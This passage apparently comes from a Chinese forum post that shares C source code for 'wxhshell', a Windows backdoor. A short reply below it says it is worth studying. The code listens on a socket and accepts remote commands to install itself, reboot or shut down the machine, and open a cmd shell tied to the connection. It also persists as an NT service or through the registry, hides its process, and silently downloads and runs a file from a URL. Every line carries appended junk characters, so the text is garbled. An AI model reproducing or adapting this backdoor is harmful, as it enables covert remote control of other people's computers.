  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b~J)LXj]w  
  if(DownloadFile(cmd,wsh)) &}r"Z?f)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fes s6=k  
  else b, Oh8O;>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N7?B"p/  
  } 3''S x8p  
  else { & 3BoK/y3  
d'RvpoM  
    switch(cmd[0]) { D7;9D*o\  
  $@D a|d4  
  // 帮助 8NWo)y49H  
  case '?': { Snx!^4+MF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a YWWln  
    break; $VuXr=f}  
  } ){*+s RBW  
  // 安装 "j@\a)a  
  case 'i': { 5&ku]l+  
    if(Install()) K]hp-QK<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $"r9U|6kk  
    else c-sjYJXKM*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q?#I{l)V(  
    break; 2;8m0+tl  
    } `gX@b^  
  // 卸载 1^!SuAA@  
  case 'r': { >Icr4?zq  
    if(Uninstall()) `#N/]4(j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |_V(^b}  
    else QO2cTk m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y0%1YY  
    break; q`q;og `  
    } `Mnu<)v  
  // 显示 wxhshell 所在路径 rm iOeS`:  
  case 'p': { 9 r!zYZ`)  
    char svExeFile[MAX_PATH]; J@s>Pe)  
    strcpy(svExeFile,"\n\r"); K#0TD( "  
      strcat(svExeFile,ExeFile); aQCu3T  
        send(wsh,svExeFile,strlen(svExeFile),0); ieFl4hh[G  
    break; 8]ZzO(=@{  
    } .T| }rB<c  
  // 重启 0zaK&]oY0  
  case 'b': { =dmr ,WE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T5(S2^)o  
    if(Boot(REBOOT)) iwotEl0*{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,`@pi@<"#  
    else { '<R>cN"  
    closesocket(wsh); R4m {D  
    ExitThread(0); 5*AXL .2ih  
    } Zt`Tg7m  
    break; i[v4[C=WB!  
    } hF%M!otcJ-  
  // 关机 qt@L&v}~j  
  case 'd': { KK){/I=z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Fx9-A8oIR  
    if(Boot(SHUTDOWN)) Q&} 0owe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O>~,RI!  
    else { <+`%=r)4  
    closesocket(wsh); .%zcm  
    ExitThread(0); =V^-@ji)b  
    } Vy\Vpp  
    break; -V2\s  
    } N3%X>*'  
  // 获取shell @(3F4Z.i%.  
  case 's': { >f(?Mxh2  
    CmdShell(wsh); k }=<51c  
    closesocket(wsh); kZ40a\9 Ye  
    ExitThread(0); b 7UJ  
    break; z p E|  
  } apvcWF%  
  // 退出 eS`VI+=@0  
  case 'x': { %FO{:@CH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OtG\Uw8  
    CloseIt(wsh); w;z7vN~/O  
    break; YW7W6mWspS  
    } ,>GHR{7>(  
  // 离开 ~b f\fPm  
  case 'q': { LdPLC':}x|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ql*zl  
    closesocket(wsh); wA) Hot  
    WSACleanup(); Lc3&\q e  
    exit(1); 8-q^.<9  
    break; 2w 2Bc+#o  
        } d#k(>+%=Q  
  } t]/eCsR  
  } Nk|cU;?+  
@~3--  
  // 提示信息 O$Rz/&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d9N[f>  
} ,eXtY}E  
  } h>N}M}8  
GG} %  
  return; 8y;Rw#Dz  
} __=H"UhWv  
79\ wjR!T  
// shell模块句柄 _P>YG<*"kQ  
int CmdShell(SOCKET sock) #[93$)Gd!  
{ 8bIP"!=*W  
STARTUPINFO si; i5,iJe0cA  
ZeroMemory(&si,sizeof(si)); ).T&fa"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -%nD'qy,.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2]>O ZhS  
PROCESS_INFORMATION ProcessInfo; zM'eqo>!c>  
char cmdline[]="cmd"; ^Q6J$"Tj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N]<(cG&p  
  return 0; (3#PKfY+  
} rP@#_(22  
!l:GrT8J  
// 自身启动模式 ;nY#/%f  
int StartFromService(void) V%Uj\cv  
{ ,_[x|8m  
typedef struct ><V*`{bD9)  
{ m,l/=M  
  DWORD ExitStatus; A1WUK=P  
  DWORD PebBaseAddress; F3tps jQ  
  DWORD AffinityMask; gQ1 obT"|  
  DWORD BasePriority; SN{z)q  
  ULONG UniqueProcessId; e8m,q~%#/  
  ULONG InheritedFromUniqueProcessId; H;H=8'  
}   PROCESS_BASIC_INFORMATION; 7T~ M`$h  
[$N_YcN?  
PROCNTQSIP NtQueryInformationProcess; @Nu2 :~JO  
91-bz^=xO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Up9{aX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Bo 35L:r|  
L@}PW)#  
  HANDLE             hProcess; 7)66e  
  PROCESS_BASIC_INFORMATION pbi; 0-2|(9 Kc  
b}e1JPk}!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h$cm:uks  
  if(NULL == hInst ) return 0; R4?>C-;  
$a(-r-_Fi]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Zk3Pv0c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eA!o#O.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lqzt[zgN  
@^{Hq6_`  
  if (!NtQueryInformationProcess) return 0; 2 $>DX\h  
Z\&f"z?L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sD|l}f  
  if(!hProcess) return 0; 4S_ -9&z  
Z;0~f<e%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X{9^$/XsJ  
q z)2a2C  
  CloseHandle(hProcess); a#oROb-*~  
#&3,T1i`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r pNb.  
if(hProcess==NULL) return 0; .`or^`X3  
[ks_wvY:'  
HMODULE hMod; /y$Omc^  
char procName[255]; hor7~u+  
unsigned long cbNeeded; }Zhe%M=}G  
bIQ,=EA1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x4_IUIgh  
qJ ey&_  
  CloseHandle(hProcess); q"2QNF'  
v.0qE}' |  
if(strstr(procName,"services")) return 1; // 以服务启动 MKK ^-T  
g \mE  
  return 0; // 注册表启动 kA :Y^2X'  
} AGBV7Kk  
=BJLj0=N  
// 主模块 %sa?/pjK  
int StartWxhshell(LPSTR lpCmdLine) j"W>fC/u  
{ +UzQJt/>>  
  SOCKET wsl; W4^L_p>Tm^  
BOOL val=TRUE; ;vn0%g  
  int port=0; uF ?[H -y  
  struct sockaddr_in door; K)Y& I  
LoF/45|-<  
  if(wscfg.ws_autoins) Install(); ^r}c&@  
,Oo`*'a[o7  
port=atoi(lpCmdLine); NvK9L.K  
EF/d7  
if(port<=0) port=wscfg.ws_port; {X{R]  
C.j+Zb1Z(  
  WSADATA data; KE?t?p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,'L>:pF3  
PyeNu3Il4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6opin  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D9rQ%|}S  
  door.sin_family = AF_INET; 6BE,L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ep>!jMhJa  
  door.sin_port = htons(port); wj[yo S  
_]:b@gXUw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _nGx[1G( 5  
closesocket(wsl); qGk+4 yC  
return 1; #2Rz=QI  
} `/| *u  
}F08o,`?  
  if(listen(wsl,2) == INVALID_SOCKET) { 4pmeu:26  
closesocket(wsl); =lacfPS  
return 1; U,GSWMI/K  
} VRo&1:  
  Wxhshell(wsl); \;;M")$  
  WSACleanup(); T,38Pu@r  
,@$5,rNf  
return 0; g[xoS\d  
0uy'Py@2<  
} # :+Nr  
Y,]Lk<Hm3  
// 以NT服务方式启动 z/?* h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B-I4(w($  
{ .)E#*kLWR  
DWORD   status = 0; L!f~Am:#  
  DWORD   specificError = 0xfffffff; vHaM yA-  
Bfb~<rs[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ct+F\:e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $QbJT`,mr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W'G|sk  
  serviceStatus.dwWin32ExitCode     = 0; d_[H|H9i6  
  serviceStatus.dwServiceSpecificExitCode = 0; 1(' wg!  
  serviceStatus.dwCheckPoint       = 0; %-hSa~20  
  serviceStatus.dwWaitHint       = 0; uWS]l[Ga  
)Q2Ap&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t~2oEwTm  
  if (hServiceStatusHandle==0) return; f\&X$g  
pyEQb#  
status = GetLastError(); 2- iY:r  
  if (status!=NO_ERROR) !$)reaS  
{ lZzW- %K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )@]%:m!ER  
    serviceStatus.dwCheckPoint       = 0; 7w )?s@CD  
    serviceStatus.dwWaitHint       = 0; d<c29Y  
    serviceStatus.dwWin32ExitCode     = status; oZ{,IZ45  
    serviceStatus.dwServiceSpecificExitCode = specificError; HG"ZN)~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oXo>pl  
    return; ~M~DH-aX  
  } 5SFr E`  
}G4I9Py  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "&L8d(ZuA  
  serviceStatus.dwCheckPoint       = 0; ,%!m%+K9a  
  serviceStatus.dwWaitHint       = 0; VH7t^fb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UiU/p  
} C T~6T&'  
(g6e5Sgi>  
// 处理NT服务事件,比如:启动、停止 Q  :kg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5:PS74/  
{ ?XKX&ws  
switch(fdwControl) O:BdZ5 b  
{ qI'pjTMDY  
case SERVICE_CONTROL_STOP: (Jp~=6&lKf  
  serviceStatus.dwWin32ExitCode = 0; Y7G sL7I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; py6<QoGV  
  serviceStatus.dwCheckPoint   = 0; a)|y0w)vV  
  serviceStatus.dwWaitHint     = 0; L : $ `8  
  { a\sK{`|X*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DJGafX^  
  } 9.)z]Gav  
  return; zC50 @S3|  
case SERVICE_CONTROL_PAUSE: ?NE/ }?a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <4{m99  
  break; z|s(D<*w  
case SERVICE_CONTROL_CONTINUE: @$slGY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [;m@A\F  
  break; fW = N  
case SERVICE_CONTROL_INTERROGATE: p22AH%  
  break; x,n l PU  
}; LhG\)>Y%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {S0-y  
} av'DyNW\  
~[=<O s  
// 标准应用程序主函数 S1|5+PPs  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $f@YQN=  
{ ?N4FB*x  
zJXK:/  
// 获取操作系统版本 2poo@]M/  
OsIsNt=GetOsVer(); }u#3hYa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); la;*>  
d&3"?2 IQ  
  // 从命令行安装 [aSuEu?mC  
  if(strpbrk(lpCmdLine,"iI")) Install(); @x `X|>&  
y;o - @]  
  // 下载执行文件 2ZxhV4\  
if(wscfg.ws_downexe) { 1zRYd`IPoq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [%k8l~ 6  
  WinExec(wscfg.ws_filenam,SW_HIDE); si&du  
} # WjQ'c:  
$:I{  
if(!OsIsNt) { T]wC?gQG  
// 如果时win9x,隐藏进程并且设置为注册表启动 'VV U-)(8  
HideProc(); 9!Av sC9  
StartWxhshell(lpCmdLine); G]h_z|$K  
} B=Kr J{&!  
else $SQ$2\iC  
  if(StartFromService()) [IHo ~   
  // 以服务方式启动 gk%01&_>4  
  StartServiceCtrlDispatcher(DispatchTable); V u")%(ix  
else )\yK61aX  
  // 普通方式启动 =!-}q  
  StartWxhshell(lpCmdLine); ge`GQ>  
(IV\s Y  
return 0; NL]_;\ h  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八